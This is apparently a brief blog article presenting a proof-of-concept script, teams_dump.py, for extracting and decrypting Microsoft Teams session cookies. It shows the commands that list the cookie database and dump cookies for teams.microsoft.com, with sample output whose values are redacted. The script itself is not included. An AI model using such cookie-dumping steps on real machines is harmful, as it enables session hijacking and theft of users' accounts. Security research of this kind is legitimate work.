In the realm of cybersecurity, understanding the intricacies of cookie management and security is paramount.

In this article, we delve into a Proof of Concept (PoC) for extracting and decrypting cookies from the latest version of Microsoft Teams.

By unraveling the secrets hidden within these cookies, we uncover valuable insights into user interactions and security measures, shedding light on the intricacies of one of the most widely used collaboration platforms in the corporate world.

Join us as we explore the tools and techniques needed to navigate the labyrinth of Microsoft Teams’ cookies.

Teams_dump.py

List values in the database

python.exe .\teams_dump.py teams --list

Table: meta
Columns in meta: key, value
--------------------------------------------------
Table: cookies
Columns in cookies: creation_utc, host_key, top_frame_site_key, name, value, encrypted_value, path, expires_utc, is_secure, is_httponly, last_access_utc, has_expires, is_persistent, priority, samesite, source_scheme, source_port, is_same_party

Dump the database into a json file

python.exe .\teams_dump.py teams --get
[+] Host: teams.microsoft.com
[+] Cookie Name MUIDB
[+] Cookie Value: xxxxxxxxxxxxxx
 **************************************************
[+] Host: teams.microsoft.com
[+] Cookie Name TSREGIONCOOKIE
[+] Cookie Value: xxxxxxxxxxxxxx
 **************************************************

LEAVE A REPLY

Please enter your comment!
Please enter your name here